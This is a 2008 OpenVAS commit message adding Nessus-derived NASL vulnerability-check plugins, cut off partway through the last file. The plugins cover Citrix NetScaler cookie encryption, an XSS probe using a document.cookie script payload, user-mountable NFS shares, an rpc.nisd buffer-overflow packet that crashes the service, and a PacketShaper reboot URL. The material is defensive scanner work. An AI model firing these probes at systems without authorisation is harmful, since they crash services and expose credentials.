Author: kost
Date: 2008-10-24 20:15:31 +0200 (Fri, 24 Oct 2008)
New Revision: 1619
Added:
trunk/openvas-plugins/scripts/netscaler_web_cookie_crypto.nasl
trunk/openvas-plugins/scripts/netscaler_web_cookie_info.nasl
trunk/openvas-plugins/scripts/netscaler_web_detect.nasl
trunk/openvas-plugins/scripts/netscaler_web_login.nasl
trunk/openvas-plugins/scripts/netscaler_web_unencrypted.nasl
trunk/openvas-plugins/scripts/netscaler_web_xss.nasl
trunk/openvas-plugins/scripts/nfs_user_mount.nasl
trunk/openvas-plugins/scripts/nisd_overflow.nasl
trunk/openvas-plugins/scripts/packeteer_packetshaper_web_dos.nasl
trunk/openvas-plugins/scripts/packeteer_web_detect.nasl
trunk/openvas-plugins/scripts/packeteer_web_login.nasl
trunk/openvas-plugins/scripts/packeteer_web_version.nasl
trunk/openvas-plugins/scripts/sgi_rpc_passwd.nasl
trunk/openvas-plugins/scripts/yppasswdd.nasl
trunk/openvas-plugins/scripts/ypupdated_remote_exec.nasl
Modified:
trunk/openvas-plugins/ChangeLog
Log:
Added GPL plugins from Nessus, modified script_id number (+ added tag
kst-depend-rpc)
Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog 2008-10-24 17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/ChangeLog 2008-10-24 18:15:31 UTC (rev 1619)
@@ -1,4 +1,25 @@
2008-10-24 Vlatko Kosturjak <[EMAIL PROTECTED]>
+
+ * scripts/nfs_user_mount.nasl
+ scripts/packeteer_web_version.nasl
+ scripts/netscaler_web_cookie_info.nasl
+ scripts/nisd_overflow.nasl
+ scripts/packeteer_web_detect.nasl
+ scripts/sgi_rpc_passwd.nasl
+ scripts/packeteer_web_login.nasl
+ scripts/netscaler_web_xss.nasl
+ scripts/netscaler_web_unencrypted.nasl
+ scripts/netscaler_web_cookie_crypto.nasl
+ scripts/yppasswdd.nasl
+ scripts/packeteer_packetshaper_web_dos.nasl
+ scripts/netscaler_web_login.nasl
+ scripts/ypupdated_remote_exec.nasl
+ scripts/netscaler_web_detect.nasl
+ Added GPL plugins from Nessus, modified script_id number
+ (+ added tag kst-depend-rpc)
+
+2008-10-24 Vlatko Kosturjak <[EMAIL PROTECTED]>
+
* scripts/apcupsd_overflows.nasl
scripts/symantec_ws_detection.nasl
scripts/webcalendar_info_disclosure.nasl
Added: trunk/openvas-plugins/scripts/netscaler_web_cookie_crypto.nasl
===================================================================
--- trunk/openvas-plugins/scripts/netscaler_web_cookie_crypto.nasl
2008-10-24 17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/netscaler_web_cookie_crypto.nasl
2008-10-24 18:15:31 UTC (rev 1619)
@@ -0,0 +1,131 @@
+# netscaler_web_cookie_crypto.nasl
+# GPLv2
+#
+# History:
+#
+# 1.00, 11/21/07
+# - Initial release
+# kst-depend-rpc
+
+
+ desc["english"]="
+Synopsis :
+
+The remote web server is prone to an information disclosure attack.
+
+Description :
+
+The version of the Citrix NetScaler web management interface on the
+remote host uses weak encryption for protecting the HTTP cookie
+content by XORing sensitive values, including the username and
+password, with a fixed key stream.
+
+See also :
+
+http://www.securityfocus.com/archive/1/484182/100/0/threaded
+
+Solution :
+
+Do not stay logged into the NetScaler web management interface while
+browsing other web sites.
+
+Risk factor :
+
+Medium / CVSS Base Score : 4.3
+(CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)";
+
+
+if (description)
+ {
+ script_id(80022);
+ script_version("$Revision: 1.2 $");
+ name["english"]="NetScaler web management cookie cipher weakness";
+ summary["english"]="Tests NetScaler web management cookie encryption";
+ family["english"]="Web Servers";
+ script_name(english:name["english"]);
+ script_description(english:desc["english"]);
+ script_summary(english:summary["english"]);
+ script_family(english:family["english"]);
+ script_category(ACT_GATHER_INFO);
+ script_cve_id("CVE-2007-6192");
+ script_copyright(english:"This script is Copyright (c) 2007 nnposter");
+ script_dependencies("netscaler_web_login.nasl");
+ script_require_keys("www/netscaler","http/password");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+
+if (!get_kb_item("www/netscaler")) exit(0);
+if (!get_kb_item("http/password")) exit(0);
+
+
+include("misc_func.inc");
+include("url_func.inc");
+include("http_func.inc");
+
+function cookie_decode (cookie,parm)
+{
+local_var match;
+match=eregmatch(string:cookie,pattern:' '+parm+'=([^; \r\n]*)',icase:TRUE);
+if (isnull(match)) return NULL;
+return base64_decode(str:urldecode(estr:match[1])-'\n');
+}
+
+
+function str_xor ()
+{
+local_var nargs,result,len,arg1,arg2,i,j;
+nargs=max_index(_FCT_ANON_ARGS);
+if (nargs==0) return NULL;
+result=_FCT_ANON_ARGS[0];
+len=strlen(result);
+for (i=1; i<nargs; ++i)
+ {
+ arg1=result;
+ arg2=_FCT_ANON_ARGS[i];
+ if (len!=strlen(arg2)) return NULL;
+ result="";
+ for (j=0; j<len; ++j) result+=raw_string(ord(arg1[j])^ord(arg2[j]));
+ }
+return result;
+}
+
+
+function strleft ()
+{
+return substr(_FCT_ANON_ARGS[0],0,_FCT_ANON_ARGS[1]-1);
+}
+
+
+port=get_http_port(default:80);
+if (!get_kb_item("www/netscaler/"+port)) exit(0);
+cookie=get_kb_item("/tmp/http/auth/"+port);
+if (!cookie) exit(0);
+
+hostname=get_host_name();
+if (!hostname) hostname=get_host_ip();
+keystream=str_xor(hostname,cookie_decode(cookie:cookie,parm:"ns3"));
+if (!keystream || strlen(keystream)==0) exit(0);
+
+ns2=cookie_decode(cookie:cookie,parm:"ns2");
+ns2len=strlen(ns2);
+keylen=strlen(keystream);
+if (ns2len<keylen) len=ns2len;
+else len=keylen;
+guess=str_xor(strleft(ns2,len),strleft(keystream,len));
+if (!guess || strlen(guess)==0) exit(0);
+if (strleft(get_kb_item("http/password"),len)!=guess) exit(0);
+
+report = string(
+ desc["english"],
+ "\n\n",
+ "Plugin output :\n",
+ "\n",
+ "Sensitive values, including the username and password, can be\n",
+ "decrypted by XORing the plaintext with the following fixed key\n",
+ "stream :\n",
+ "\n",
+ hexstr(keystream), "..."
+);
+security_warning(port:port,data:report);
Added: trunk/openvas-plugins/scripts/netscaler_web_cookie_info.nasl
===================================================================
--- trunk/openvas-plugins/scripts/netscaler_web_cookie_info.nasl
2008-10-24 17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/netscaler_web_cookie_info.nasl
2008-10-24 18:15:31 UTC (rev 1619)
@@ -0,0 +1,104 @@
+# netscaler_web_cookie_info.nasl
+# GPLv2
+#
+# History:
+#
+# 1.00, 11/21/07
+# - Initial release
+# kst-depend-rpc
+
+
+ desc["english"]="
+Synopsis :
+
+The remote web server is prone to an information disclosure attack.
+
+Description :
+
+It is possible to extract information about the remote Citrix
+NetScaler appliance obtained from the web management interface's
+session cookie, including the appliance's main IP address and software
+version.
+
+See also :
+
+http://www.securityfocus.com/archive/1/484182/100/0/threaded
+
+Risk factor :
+
+Medium / CVSS Base Score : 5.0
+(CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)";
+
+
+if (description)
+ {
+ script_id(80023);
+ script_version("$Revision: 1.3 $");
+ name["english"]="NetScaler web management cookie information";
+ summary["english"]="Reports NetScaler web cookie information";
+ family["english"]="Misc.";
+ script_name(english:name["english"]);
+ script_description(english:desc["english"]);
+ script_summary(english:summary["english"]);
+ script_family(english:family["english"]);
+ script_category(ACT_GATHER_INFO);
+ script_cve_id("CVE-2007-6193");
+ script_xref(name:"OSVDB", value:"44155");
+ script_copyright(english:"This script is Copyright (c) 2007 nnposter");
+ script_dependencies("netscaler_web_login.nasl");
+ script_require_keys("www/netscaler");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+
+if (!get_kb_item("www/netscaler")) exit(0);
+if (!get_kb_item("http/password")) exit(0);
+
+
+include("misc_func.inc");
+include("url_func.inc");
+include("http_func.inc");
+
+
+function cookie_extract (cookie,parm)
+{
+local_var match;
+match=eregmatch(string:cookie,pattern:' '+parm+'=([^; \r\n]*)',icase:TRUE);
+if (isnull(match)) return;
+return match[1];
+}
+
+
+port=get_http_port(default:80);
+if (!get_kb_item("www/netscaler/"+port)) exit(0);
+cookie=get_kb_item("/tmp/http/auth/"+port);
+if (!cookie) exit(0);
+
+found="";
+
+nsip=cookie_extract(cookie:cookie,parm:"domain");
+if (nsip && nsip+"."=~"^([0-9]{1,3}\.){4}$")
+ found+='Main IP address : '+nsip+'\n';
+
+nsversion=urldecode(estr:cookie_extract(cookie:cookie,parm:"nsversion"));
+if (nsversion)
+ {
+ replace_or_set_kb_item(name:"www/netscaler/"+port+"/version",
+ value:nsversion);
+ found+='Software version : '+nsversion+'\n';
+ }
+
+if (!found) exit(0);
+
+report = string(
+ desc["english"],
+ "\n\n",
+ "Plugin output :\n",
+ "\n",
+ "It was possible to determine the following information about the\n",
+ "Citrix NetScaler appliance by examining the web management cookie :\n",
+ "\n",
+ found
+);
+security_warning(port:port,data:report);
Added: trunk/openvas-plugins/scripts/netscaler_web_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/netscaler_web_detect.nasl 2008-10-24
17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/netscaler_web_detect.nasl 2008-10-24
18:15:31 UTC (rev 1619)
@@ -0,0 +1,73 @@
+# netscaler_web_detect.nasl
+# GPLv2
+#
+# History:
+#
+# 1.00, 11/21/07
+# - Initial release
+# kst-depend-rpc
+
+
+if (description)
+ {
+ script_id(80024);
+ script_version("$Revision: 1.1 $");
+ name["english"]="NetScaler web management interface detection";
+ desc["english"]="
+Synopsis :
+
+A Citrix NetScaler web management interface is running on this port.
+
+Description :
+
+The remote host appears to be a Citrix NetScaler, an appliance for web
+application delivery, and the remote web server is its management
+interface.
+
+See also :
+
+http://www.citrix.com/lang/English/ps2/index.asp
+
+Solution :
+
+Filter incoming traffic to this port.
+
+Risk factor :
+
+None";
+ summary["english"]="Detects NetScaler web management interface";
+ family["english"]="Web Servers";
+ script_name(english:name["english"]);
+ script_description(english:desc["english"]);
+ script_summary(english:summary["english"]);
+ script_family(english:family["english"]);
+ script_category(ACT_GATHER_INFO);
+ script_copyright(english:"This script is Copyright (c) 2007 nnposter");
+ script_dependencies("find_service1.nasl","httpver.nasl");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("misc_func.inc");
+
+
+port=get_http_port(default:80);
+if (!get_tcp_port_state(port)) exit(0);
+
+resp=http_keepalive_send_recv(port:port,
+ data:http_get(item:"/index.html",port:port),
+ embedded:TRUE);
+if (!resp) exit(0);
+
+match1=egrep(pattern:"<title>Citrix Login</title>",string:resp,icase:TRUE);
+match2=egrep(pattern:'action="/ws/login\\.pl"',string:resp,icase:TRUE);
+if (!match1 || !match2) exit(0);
+
+replace_or_set_kb_item(name:"www/netscaler",value:TRUE);
+replace_or_set_kb_item(name:"www/netscaler/"+port,value:TRUE);
+replace_or_set_kb_item(name:"Services/www/"+port+"/embedded",value:TRUE);
+
+security_note(port);
Added: trunk/openvas-plugins/scripts/netscaler_web_login.nasl
===================================================================
--- trunk/openvas-plugins/scripts/netscaler_web_login.nasl 2008-10-24
17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/netscaler_web_login.nasl 2008-10-24
18:15:31 UTC (rev 1619)
@@ -0,0 +1,78 @@
+# netscaler_web_login.nasl
+# GPLv2
+#
+# History:
+#
+# 1.00, 11/21/07
+# - Initial release
+# kst-depend-rpc
+
+
+if (description)
+ {
+ script_id(80025);
+ script_version("$Revision: 1.1 $");
+ name["english"]="NetScaler web management login";
+ desc["english"]="
+Synopsis :
+
+It is possible to log into the remote web management interface.
+
+Description :
+
+Nessus successfully logged into the remote Citrix NetScaler web
+management interface using the supplied credentials and stored the
+authentication cookie for later use.
+
+Risk factor :
+
+None";
+ summary["english"]="Logs into NetScaler web management interface";
+ family["english"]="Settings";
+ script_name(english:name["english"]);
+ script_description(english:desc["english"]);
+ script_summary(english:summary["english"]);
+ script_family(english:family["english"]);
+ script_category(ACT_GATHER_INFO);
+ script_copyright(english:"This script is Copyright (c) 2007 nnposter");
+ script_dependencies("logins.nasl","netscaler_web_detect.nasl");
+ script_require_keys("www/netscaler","http/login");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+
+if (!get_kb_item("www/netscaler")) exit(0);
+if (!get_kb_item("http/login")) exit(0);
+
+
+include("url_func.inc");
+include("http_func.inc");
+include("http_keepalive.inc");
+
+
+port=get_http_port(default:80);
+if (!get_tcp_port_state(port) || !get_kb_item("www/netscaler/"+port))
+ exit(0);
+
+url="/ws/login.pl?"
+ + "username="+urlencode(str:get_kb_item("http/login"))
+ +"&password="+urlencode(str:get_kb_item("http/password"))
+ +"&appselect=stat";
+
+resp=http_keepalive_send_recv(port:port,
+ data:http_get(item:url,port:port),
+ embedded:TRUE);
+if (!resp) exit(0);
+
+cookie=egrep(pattern:"^Set-Cookie:",string:resp,icase:TRUE);
+if (!cookie) exit(0);
+
+cookie=ereg_replace(string:cookie,pattern:'^Set-',replace:" ",icase:TRUE);
+cookie=ereg_replace(string:cookie,pattern:';[^\r\n]*',replace:";",icase:TRUE);
+cookie=ereg_replace(string:cookie,pattern:'\r\nSet-Cookie: *',replace:"
",icase:TRUE);
+cookie=ereg_replace(string:cookie,pattern:'; *(\r\n)',replace:"\1",icase:TRUE);
+if (cookie!~" ns1=.* ns2=") exit(0);
+
+set_kb_item(name:"/tmp/http/auth/"+port,value:cookie);
+security_note(port);
Added: trunk/openvas-plugins/scripts/netscaler_web_unencrypted.nasl
===================================================================
--- trunk/openvas-plugins/scripts/netscaler_web_unencrypted.nasl
2008-10-24 17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/netscaler_web_unencrypted.nasl
2008-10-24 18:15:31 UTC (rev 1619)
@@ -0,0 +1,65 @@
+# netscaler_web_unencrypted.nasl
+# GPLv2
+# kst-depend-rpc
+
+
+if (description)
+ {
+ script_id(80026);
+ script_version("$Revision: 1.2 $");
+ name["english"]="Unencrypted NetScaler web management interface";
+ desc["english"]="
+Synopsis :
+
+The remote web management interface does not encrypt connections.
+
+Description :
+
+The remote Citrix NetScaler web management interface does use TLS or
+SSL to encrypt connections.
+
+Solution :
+
+Consider disabling this port completely and using only HTTPS.
+
+Risk factor :
+
+Medium / CVSS Base Score : 5.0
+(CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)";
+ summary["english"]="Detects an unencrypted NetScaler web management
interface";
+ family["english"]="Web Servers";
+ script_name(english:name["english"]);
+ script_description(english:desc["english"]);
+ script_summary(english:summary["english"]);
+ script_family(english:family["english"]);
+ script_category(ACT_GATHER_INFO);
+ script_copyright(english:"This script is Copyright (c) 2007 nnposter");
+ script_dependencies("netscaler_web_detect.nasl");
+ script_require_keys("www/netscaler");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+
+if (!get_kb_item("www/netscaler")) exit(0);
+
+
+include("http_func.inc");
+
+
+function is_ssl(port)
+{
+local_var encaps;
+encaps= get_kb_item("Transports/TCP/"+port);
+if ( encaps && encaps>=ENCAPS_SSLv2 && encaps<=ENCAPS_TLSv1 )
+ return TRUE;
+ else
+ return FALSE;
+}
+
+
+port=get_http_port(default:80);
+if (!get_tcp_port_state(port) || !get_kb_item("www/netscaler/"+port))
+ exit(0);
+
+if (!is_ssl(port:port)) security_warning(port);
Added: trunk/openvas-plugins/scripts/netscaler_web_xss.nasl
===================================================================
--- trunk/openvas-plugins/scripts/netscaler_web_xss.nasl 2008-10-24
17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/netscaler_web_xss.nasl 2008-10-24
18:15:31 UTC (rev 1619)
@@ -0,0 +1,89 @@
+# netscaler_web_xss.nasl
+# GPLv2
+#
+# History:
+#
+# 1.00, 11/21/07
+# - Initial release
+# kst-depend-rpc
+
+
+ desc["english"]="
+Synopsis :
+
+The remote web server is prone to cross-site scripting attacks.
+
+Description :
+
+The remote Citrix NetScaler web management interface is susceptible to
+cross-site scripting attacks.
+
+See also :
+
+http://www.securityfocus.com/archive/1/483920/100/0/threaded
+
+Solution :
+
+Unknown at this time.
+
+Risk factor :
+
+Medium / CVSS Base Score : 4.3
+(CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)";
+
+
+if (description)
+ {
+ script_id(80027);
+ script_version("$Revision: 1.4 $");
+ name["english"]="NetScaler web management XSS";
+ summary["english"]="Attempts XSS against NetScaler web management
interface";
+ family["english"]="CGI abuses : XSS";
+ script_name(english:name["english"]);
+ script_description(english:desc["english"]);
+ script_summary(english:summary["english"]);
+ script_family(english:family["english"]);
+ script_category(ACT_ATTACK);
+ script_cve_id("CVE-2007-6037");
+ script_bugtraq_id(26491);
+ script_xref(name:"OSVDB", value:"39009");
+ script_copyright(english:"This script is Copyright (c) 2007 nnposter");
+ script_dependencies("netscaler_web_login.nasl");
+ script_require_keys("www/netscaler");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+
+if (!get_kb_item("www/netscaler")) exit(0);
+
+
+include("url_func.inc");
+include("http_func.inc");
+include("http_keepalive.inc");
+
+
+port=get_http_port(default:80);
+if (!get_tcp_port_state(port) || !get_kb_item("www/netscaler/"+port))
+ exit(0);
+
+xss="</script><script>alert(document.cookie)</script><script>";
+url="/ws/generic_api_call.pl?function=statns&standalone="+urlencode(str:xss);
+
+resp=http_keepalive_send_recv(port:port,
+ data:http_get(item:url,port:port),
+ embedded:TRUE);
+if (!resp || xss>!<resp) exit(0);
+
+report = string(
+ desc["english"],
+ "\n\n",
+ "Plugin output :\n",
+ "\n",
+ "The following URLs have been found vulnerable :\n",
+ "\n",
+ ereg_replace(string:url,pattern:"\?.*$",replace:"")
+
+);
+security_warning(port:port,data:report);
+set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
Added: trunk/openvas-plugins/scripts/nfs_user_mount.nasl
===================================================================
--- trunk/openvas-plugins/scripts/nfs_user_mount.nasl 2008-10-24 17:51:47 UTC
(rev 1618)
+++ trunk/openvas-plugins/scripts/nfs_user_mount.nasl 2008-10-24 18:15:31 UTC
(rev 1619)
@@ -0,0 +1,108 @@
+#
+# This script is released under the GPLv2
+#
+# kst-depend-rpc
+
+desc["english"] = "
+Synopsis :
+
+It is possible to access the remote NFS shares without having root privileges.
+
+Description :
+
+Some of the NFS shares exported by the remote server could be
+mounted by the scanning host. An attacker may exploit this problem
+to gain read (and possibly write) access to files on remote host.
+
+Note that root privileges were not required to mount the remote shares. That
is,
+the source port to mount the shares was bigger than 1024.
+
+Solution :
+
+Configure NFS on the remote host so that only authorized hosts can mount
+the remote shares.
+
+The remote NFS server should prevent mount requests originating from a
non-privileged port.
+
+Risk factor :
+
+High / CVSS Base Score : 7.5
+(CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)";
+
+
+if(description)
+{
+ script_id(80028);
+ script_version ("$Revision: 1.3 $");
+
+ name["english"] = "User Mountable NFS shares";
+ script_name(english:name["english"]);
+
+ script_description(english:desc["english"]);
+
+ summary["english"] = "Checks for User Mountable NFS";
+ script_summary(english:summary["english"], francais:summary["francais"]);
+
+ script_category(ACT_GATHER_INFO);
+
+
+ script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison,
modified 2004 Michael Stone");
+ family["english"] = "Remote file access";
+ script_family(english:family["english"]);
+ script_dependencie("rpc_portmap.nasl", "showmount.nasl");
+ script_require_keys("rpc/portmap");
+ exit(0);
+}
+
+
+
+include("misc_func.inc");
+include("nfs_func.inc");
+
+mountable = NULL;
+
+list = get_kb_list("nfs/exportlist");
+if(isnull(list))exit(0);
+shares = make_list(list);
+
+port = get_rpc_port(program:100005, protocol:IPPROTO_UDP);
+if ( ! port ) exit(0);
+soc = open_sock_udp(port);
+
+port2 = get_rpc_port(program:100003, protocol:IPPROTO_UDP);
+if ( ! port2 ) exit(0);
+soc2 = open_sock_udp(port2);
+
+if(!soc)exit(0);
+
+foreach share (shares)
+{
+ fid = mount(soc:soc, share:share);
+ if(fid)
+ {
+ content = readdir(soc:soc2, fid:fid);
+ mountable += '+ ' + share + '\n' ;
+ flag = 0;
+ foreach c (content)
+ {
+ if(flag == 0){
+ mountable += ' + Contents of ' + share + ' : \n';
+ flag = 1;
+ }
+ mountable += ' - ' + c + '\n';
+ }
+ umount(soc:soc, share:share);
+ mountable += '\n\n';
+ }
+}
+
+close(soc);
+
+if(mountable)
+{
+ report = desc["english"] + '\n\nPlugin output :\n\n' + string("The following
NFS shares could be mounted without root privileges: \n",
+ mountable);
+
+
+ security_hole(port:2049, proto:"udp", data:report);
+}
Added: trunk/openvas-plugins/scripts/nisd_overflow.nasl
===================================================================
--- trunk/openvas-plugins/scripts/nisd_overflow.nasl 2008-10-24 17:51:47 UTC
(rev 1618)
+++ trunk/openvas-plugins/scripts/nisd_overflow.nasl 2008-10-24 18:15:31 UTC
(rev 1619)
@@ -0,0 +1,116 @@
+#
+# This script is released under the GPL
+#
+# kst-depend-rpc
+
+if(description)
+{
+ script_id(80029);
+ script_bugtraq_id(104);
+ script_version ("$Revision: 1.7 $");
+ script_cve_id("CVE-1999-0008");
+
+ name["english"] = "rpc.nisd overflow";
+
+ script_name(english:name["english"]);
+
+ desc["english"] = "
+The remote RPC service 100300 (nisd) is vulnerable
+to a buffer overflow which allows any user to obtain a root
+shell on this host.
+
+Solution : disable this service if you don't use it, or apply the relevant
patch
+Risk factor : High";
+
+ script_description(english:desc["english"]);
+
+ summary["english"] = "buffer overflow through rpc.nisd";
+ script_summary(english:summary["english"]);
+
+ script_category(ACT_MIXED_ATTACK); # mixed
+
+ script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison");
+ family["english"] = "Gain root remotely";
+ family["francais"] = "Passer root � distance";
+ script_family(english:family["english"], francais:family["francais"]);
+ if ( !defined_func("bn_random") )
+ script_dependencies("rpc_portmap.nasl");
+ else
+ script_dependencies("rpc_portmap.nasl", "solaris26_105401.nasl",
"solaris26_x86_105402.nasl");
+ script_require_keys("rpc/portmap");
+
+ exit(0);
+}
+
+include("misc_func.inc");
+
+version = get_kb_item("Host/Solaris/Version");
+if ( version && ereg(pattern:"^5\.([7-9]|10)", string:version)) exit(0);
+if ( get_kb_item("BID-102") ) exit(0);
+
+function ping()
+{
+ req = raw_string(0x3A, 0x90, 0x9C, 0x2F, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01,
+ 0x87, 0xCC, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,
+ 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x04) + crap(4);
+ soc = open_sock_udp(port);
+ if(!soc)exit(0);
+ send(socket:soc, data:req);
+ r = recv(socket:soc, length:512);
+ if(r) return 1;
+ else return 0;
+}
+
+port = get_rpc_port(program:100300, protocol:IPPROTO_UDP);
+if(port)
+{
+ if(safe_checks())
+ {
+ data = "
+The remote RPC service 100300 (nisd) *may* be vulnerable
+to a buffer overflow which allows any user to obtain a root
+shell on this host.
+
+*** Nessus did not actually check for this flaw, so this
+*** might be a false positive
+
+Solution : disable this service if you don't useit, or apply
+the relevant patch
+Risk factor : High";
+ security_hole(port:port, data:data);
+ exit(0);
+ }
+
+
+ if(get_udp_port_state(port))
+ {
+ if(ping())
+ {
+ soc = open_sock_udp(port);
+ if(soc)
+ {
+ #
+ # We forge a bogus RPC request, with a way too long
+ # argument. The remote process will die immediately,
+ # and hopefully painlessly.
+ #
+ req = raw_string(0x3A, 0x90, 0x9C, 0x2F, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01,
+ 0x87, 0xCC, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,
+ 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x09, 0x2C) + crap(3500);
+
+
+ send(socket:soc, data:req);
+ r = recv(socket:soc, length:4096);
+ close(soc);
+
+ if(!ping())security_hole(port);
+ }
+ }
+ }
+}
Added: trunk/openvas-plugins/scripts/packeteer_packetshaper_web_dos.nasl
===================================================================
--- trunk/openvas-plugins/scripts/packeteer_packetshaper_web_dos.nasl
2008-10-24 17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/packeteer_packetshaper_web_dos.nasl
2008-10-24 18:15:31 UTC (rev 1619)
@@ -0,0 +1,128 @@
+# nnposter
+# GPL
+# kst-depend-rpc
+
+
+ desc["english"]="
+Synopsis :
+
+The remote host is affected by a denial of service vulnerability.
+
+Description :
+
+Packeteer PacketShaper is susceptible to a denial of service
+vulnerability in the web management interface. Requesting a specific
+URL will cause the device to reboot. The user must first log in but
+even read-only access is sufficient.
+
+See also :
+
+http://www.securityfocus.com/archive/1/470835/30/0/threaded
+
+Solution :
+
+Restrict network access to the device management interfaces.
+
+Risk factor :
+
+Medium / CVSS Base Score : 5.0
+(CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)";
+
+
+if (description)
+ {
+ script_id(80030);
+ script_version ("$Revision: 1.3 $");
+
+ script_cve_id("CVE-2007-3151");
+ script_bugtraq_id(24388);
+ script_xref(name:"OSVDB", value:"37230");
+
+ name["english"]="Packeteer PacketShaper Web Denial of Service";
+ script_name(english:name["english"]);
+
+ script_description(english:desc["english"]);
+
+ summary["english"]="Tests for Packeteer PacketShaper web management
interface DoS";
+ script_summary(english:summary["english"]);
+
+ family["english"]="CGI abuses";
+ script_family(english:family["english"]);
+
+ script_category(ACT_MIXED_ATTACK);
+
+ script_copyright(english:"This script is Copyright (c) 2006-2007
nnposter");
+ script_dependencies("packeteer_web_version.nasl", "snmp_sysDesc.nasl");
+ script_require_keys("www/packeteer");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+# Notes:
+# - Does not work with http_keepalive_send_recv() for some reason.
+# Resorting to http_send_recv()
+
+
+include("http_func.inc");
+include("misc_func.inc");
+
+
+if (!get_kb_item("www/packeteer")) exit(0);
+
+
+function set_cookie (data,cookie)
+{
+local_var EOL,req;
+EOL='\r\n';
+req=ereg_replace(string:data,pattern:EOL+'Cookie:[^\r\n]+',replace:"");
+req=ereg_replace(string:req,pattern:EOL+EOL,replace:EOL+cookie+EOL);
+return req;
+}
+
+
+function get_version_snmp ()
+{
+local_var sys,match,ver;
+sys=get_kb_item("SNMP/sysDesc");
+if (!sys) return;
+match=eregmatch(pattern:"^Packeteer PacketShaper ([A-Za-z0-9.]+)",string:sys);
+ver=match[1];
+if (!ver) return;
+return ver;
+}
+
+
+port=get_http_port(default:80);
+product=get_kb_item("www/"+port+"/packeteer");
+if (!get_tcp_port_state(port) || product!="PacketShaper") exit(0);
+
+
+if (safe_checks())
+ {
+ KNOWN_BROKEN_VERSION="7.5.1g1";
+ version=get_kb_item("www/"+port+"/packeteer/version");
+ if (!version) version=get_version_snmp();
+ if (version && version =~ "^([0-6]\.|7\.([0-4]\.|5\.(0|1([a-f]|g0))))")
+ {
+ report = string(
+ desc["english"],
+ "\n\n",
+ "Plugin output :\n",
+ "\n",
+ "The vulnerability has not been tested. The assessment is based\n",
+ "solely on the device software version, which is ",version,"."
+ );
+ security_warning(port:port,data:report);
+ }
+ exit(0);
+ }
+
+cookie=get_kb_item("/tmp/http/auth/"+port);
+if (!cookie) exit(0);
+
+if (http_is_dead(port:port)) exit(0);
+req=http_get(item:"/rpttop.htm?OP.MEAS.DATAQUERY=&MEAS.TYPE=",port:port);
+resp=http_send_recv(port:port,data:set_cookie(data:req,cookie:cookie));
+if (!http_is_dead(port:port)) exit(0);
+
+security_warning(port);
Added: trunk/openvas-plugins/scripts/packeteer_web_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/packeteer_web_detect.nasl 2008-10-24
17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/packeteer_web_detect.nasl 2008-10-24
18:15:31 UTC (rev 1619)
@@ -0,0 +1,134 @@
+# nnposter
+# GPL
+# kst-depend-rpc
+
+
+desc["english"] = "
+Synopsis :
+
+The remote web server is used to manage a network device.
+
+Description :
+
+The remote web server is a Packeteer web management interface.
+
+See also :
+
+http://www.packeteer.com/
+
+Solution :
+
+Filter incoming traffic to this port.
+
+Risk factor :
+
+None";
+
+
+desc_unencrypted["english"] = "
+Synopsis :
+
+The remote web server is used to manage a network device.
+
+Description :
+
+The remote web server is an unencrypted Packeteer web management
+interface.
+
+See also :
+
+http://www.packeteer.com/
+
+Solution :
+
+Consider disabling this port completely and using only HTTPS. And
+filter incoming traffic to this port.
+
+Risk factor :
+
+Medium / CVSS Base Score : 5.0
+(CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)";
+
+
+if (description)
+ {
+ script_id(80031);
+ script_version ("$Revision: 1.3 $");
+
+ name["english"]="Packeteer Web Management Interface Detection";
+ script_name(english:name["english"]);
+
+ script_description(english:desc["english"]);
+
+ summary["english"]="Detects Packeteer web management interface";
+ script_summary(english:summary["english"]);
+
+ family["english"]="CGI abuses";
+ script_family(english:family["english"]);
+
+ script_category(ACT_GATHER_INFO);
+
+ script_copyright(english:"This script is Copyright (c) 2006-2007
nnposter");
+ script_dependencies("http_version.nasl");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+# Notes:
+# - Does not work with http_keepalive_send_recv() for some reason.
+# Resorting to http_send_recv()
+
+
+include("http_func.inc");
+#include("http_keepalive.inc");
+include("misc_func.inc");
+
+
+port=get_http_port(default:80);
